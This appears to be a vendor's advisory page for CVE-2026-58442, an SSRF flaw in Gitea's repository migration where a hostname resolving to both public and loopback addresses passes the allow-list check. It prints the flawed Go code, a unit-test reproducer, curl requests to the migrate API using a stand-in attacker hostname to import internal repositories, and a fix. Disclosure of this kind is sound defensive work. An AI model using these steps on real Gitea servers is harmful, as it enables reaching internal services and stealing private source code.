CVE-2026-58442
MEDIUMCVE-2026-58442 is a medium-severity (CVSS 6.5) Information Exposure vulnerability in code.gitea.io/gitea. O3 Security confirms whether CVE-2026-58442 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Gitea: Repository migration SSRF via multi-answer DNS allow-list bypass
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-58442.
Real-World Exposure
code.gitea.io/giteaReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Gitea's repository migration URL validation can be bypassed when a migration hostname resolves to multiple IP addresses. The validation logic accepts the destination if any resolved IP is allowed, even if another resolved IP is loopback, private, or otherwise blocked. The later git clone operation resolves the hostname again outside of that validation decision, so it can connect to the internal address.
An authenticated low-privilege user who can create repository migrations can use an attacker-controlled DNS name to make Gitea connect to internal-only Git services and import their contents into a repository controlled by the attacker.
Details
The issue is in services/migrations/migrate.go, in the migration allow/block-list check.
Current logic computes whether any resolved IP is allowed:
var ipAllowed bool
var ipBlocked bool
for _, addr := range addrList {
ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)
ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
}
Then, when an allow-list is active, the host is accepted if the hostname matches or ipAllowed is true:
if !allowList.IsEmpty() {
if !allowList.MatchHostName(hostName) && !ipAllowed {
return &git.ErrInvalidCloneAddr{Host: hostName, IsPermissionDenied: true}
}
}
This means a hostname resolving to both:
- an allowed public IP, e.g.
1.2.3.4 - a blocked internal IP, e.g.
127.0.0.1
passes validation because the public IP sets ipAllowed = true.
The actual repository import is later performed by git clone --mirror via MigrateRepositoryGitData / gitrepo.CloneExternalRepo. That git subprocess performs its own DNS resolution and is not tied to the specific IP set that was validated earlier. If the hostname resolves, rotates, or is re-bound to the internal address at clone time, Gitea can connect to a destination the migration filter would reject if supplied directly.
The direct internal URL is correctly blocked, but the multi-answer hostname is accepted.
PoC
I verified the vulnerable predicate locally against Gitea checkout:
e8654c7e062431a521636703f47339cde64644fd
using Dockerized Go tests with golang:1.26.4.
The local test proves:
checkByAllowBlockList("loopback.example.test", [127.0.0.1])is rejected.checkByAllowBlockList("mixed.example.test", [1.2.3.4, 127.0.0.1])is accepted.
Minimal reproducer at the validation layer:
func TestMigrationMultiAnswerAnyAllowed(t *testing.T) {
old := setting.Migrations
t.Cleanup(func() { setting.Migrations = old })
setting.Migrations.AllowedDomains = ""
setting.Migrations.BlockedDomains = ""
setting.Migrations.AllowLocalNetworks = false
require.NoError(t, Init())
err := checkByAllowBlockList("mixed.example.test", []net.IP{
net.ParseIP("1.2.3.4"),
net.ParseIP("127.0.0.1"),
})
require.NoError(t, err, "mixed public+loopback answers should currently pass")
err = checkByAllowBlockList("loopback.example.test", []net.IP{
net.ParseIP("127.0.0.1"),
})
require.Error(t, err, "loopback-only answer should be rejected")
}
To reproduce end-to-end:
- Run Gitea with repository migration enabled and
ALLOW_LOCALNETWORKS = false. - Create a normal non-admin user that can create repositories.
- Run an internal Git HTTP service reachable only from the Gitea server, for example on
127.0.0.1:18082. - Configure an attacker-controlled hostname so that DNS can return both a public address and
127.0.0.1, or can return a public address during Gitea's pre-flight validation and127.0.0.1during the later git clone. - Confirm the direct internal migration is rejected:
curl -X POST http://GITEA/api/v1/repos/migrate \
-H "Authorization: token USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://127.0.0.1:18082/repo.git",
"repo_name": "direct-internal",
"service": "git",
"private": true
}'
Expected direct result:
{"message":"You can not import from disallowed hosts."}
- Start a migration from the attacker-controlled multi-answer hostname:
curl -X POST http://GITEA/api/v1/repos/migrate \
-H "Authorization: token USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://mixed.example.test:18082/repo.git",
"repo_name": "multidns-ssrf",
"service": "git",
"private": true
}'
Expected vulnerable result:
- The migration request is accepted.
- The git subprocess can connect to the internal address.
- Internal repository contents are imported into the attacker's new Gitea repository.
Impact
This is a server-side request forgery in repository migration.
An authenticated user with permission to create repository migrations can make the Gitea server connect to internal-only network resources that are normally blocked by the migration SSRF filter. If the internal service is a Git repository or Git-compatible HTTP endpoint, its contents can be imported into an attacker-controlled repository and exfiltrated.
Potentially impacted resources include:
- internal Git repositories
- localhost-only services
- private network source-control services
- metadata or internal infrastructure endpoints if reachable and compatible with the request path
The direct internal destination is rejected, but a multi-answer or rebindable DNS name can pass validation and later resolve to the internal address during the clone operation.
Suggested fix
The migration allow/block-list check should fail closed for multi-answer DNS:
- reject if any resolved IP is blocked
- require all resolved IPs to be allowed when an allow-list is active
- treat an empty resolution result as not IP-allowed
- ideally enforce the same destination policy at connection time, not only during pre-flight validation, to avoid DNS TOCTOU between validation and
git clone
For example, instead of ipAllowed = ipAllowed || allowList.MatchIPAddr(addr), initialize ipAllowed to len(addrList) > 0 and combine with logical AND:
ipAllowed := len(addrList) > 0
ipBlocked := false
for _, addr := range addrList {
ipAllowed = ipAllowed && allowList.MatchIPAddr(addr)
ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.gitea.io/gitea | all versions | 1.27.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update code.gitea.io/gitea to 1.27.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-58442 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-58442 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-58442. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-58442 in your dependencies?
O3 detects CVE-2026-58442 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.